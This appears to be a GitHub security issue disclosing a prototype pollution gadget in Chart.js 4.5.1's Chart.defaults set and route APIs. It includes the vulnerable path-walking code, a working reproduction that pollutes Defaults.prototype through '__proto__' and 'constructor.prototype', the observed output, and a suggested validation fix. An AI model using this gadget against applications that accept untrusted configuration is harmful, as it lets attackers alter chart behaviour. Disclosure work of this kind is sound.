Skip to content

Security: Prototype pollution gadget in Chart.defaults path APIs #12265

@PentesterFlow

Description

@PentesterFlow

Summary

Chart.defaults exposes path-based APIs that walk caller-controlled scope strings before key validation is applied. This allows prototype pollution of Chart.js' Defaults.prototype via paths such as __proto__ and constructor.prototype.

This does not appear to pollute global Object.prototype; the pollution is scoped to the Defaults prototype used by Chart.defaults. It can still alter inherited global defaults for Chart.js in the current JS realm if untrusted input can reach these APIs.

Affected APIs observed:

  • Chart.defaults.set(scope, values)
  • Chart.defaults.get(scope) when the returned object is mutated by the caller
  • Chart.defaults.describe(scope, values) / Chart.defaults.override(scope, values) for their internal default descriptor/override roots
  • Chart.defaults.route(scope, name, targetScope, targetName)

Affected version

Tested on chart.js@4.5.1, currently the latest npm release.

Root cause

The path walker in src/core/core.defaults.js does not reject dangerous path segments:

function getScope(node, key) {
  if (!key) {
    return node;
  }
  const keys = key.split('.');
  for (let i = 0, n = keys.length; i < n; ++i) {
    const k = keys[i];
    node = node[k] || (node[k] = Object.create(null));
  }
  return node;
}

function set(root, scope, values) {
  if (typeof scope === 'string') {
    return merge(getScope(root, scope), values);
  }
  return merge(getScope(root, ''), scope);
}

merge() later rejects dangerous keys such as __proto__, prototype, and constructor, but the dangerous path segment is already dereferenced by getScope() before merge() runs.

Reproduction

const {Chart} = require('chart.js');

for (const k of ['xPolluted', 'evilColor', 'routePolluted', '_routePolluted']) {
  delete Chart.defaults.constructor.prototype[k];
}

console.log(Chart.version); // 4.5.1
console.log(Chart.defaults.xPolluted); // undefined

Chart.defaults.set('__proto__', {xPolluted: 'via __proto__ path'});

console.log(Chart.defaults.xPolluted); // via __proto__ path
console.log(Object.prototype.hasOwnProperty.call(Chart.defaults, 'xPolluted')); // false
console.log(Chart.defaults.constructor.prototype.xPolluted); // via __proto__ path

Chart.defaults.set('constructor.prototype', {evilColor: '#bad'});
console.log(Chart.defaults.evilColor); // #bad

Chart.defaults.route('__proto__', 'routePolluted', '', 'color');
console.log(Chart.defaults.routePolluted); // #666, inherited getter on Defaults.prototype
console.log(typeof Object.getOwnPropertyDescriptor(
  Chart.defaults.constructor.prototype,
  'routePolluted'
)?.get === 'function'); // true

Observed output from a local run against chart.js@4.5.1:

version: 4.5.1
before: undefined
after-set-proto: via __proto__ path
own-defaults: false
prototype-value: via __proto__ path
after-set-constructor-prototype: #bad
route-value: #666
route-is-prototype-getter: true

Impact

This is a prototype-pollution gadget on Defaults.prototype, not a demonstrated Object.prototype pollution issue.

Practical exploitability depends on whether an application allows untrusted configuration, themes, dashboards, plugins, or remote JSON to control Chart.defaults path strings. If the API is only called with hardcoded trusted paths, impact is limited.

If untrusted input can reach these calls, an attacker can add inherited properties or route getters to Chart.defaults, changing global Chart.js default resolution for charts in the same page/process.

Suggested fix

Validate every dotted path segment before walking it. At minimum, reject __proto__, prototype, and constructor in all path-based defaults APIs.

Example direction:

function isValidScopePath(key) {
  return !key.split('.').some((part) => (
    part === '__proto__' || part === 'prototype' || part === 'constructor'
  ));
}

function getScope(node, key) {
  if (!key) {
    return node;
  }
  if (!isValidScopePath(key)) {
    throw new Error(`Invalid defaults scope: ${key}`);
  }
  const keys = key.split('.');
  for (let i = 0, n = keys.length; i < n; ++i) {
    const k = keys[i];
    node = node[k] || (node[k] = Object.create(null));
  }
  return node;
}

route(scope, name, targetScope, targetName) should validate both scope and targetScope; it would also be safer to reject dangerous name and targetName values.

Notes

I did not find evidence that normal chart labels/data reach this path API directly. This report is specifically about the Chart.defaults dotted-path API surface.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions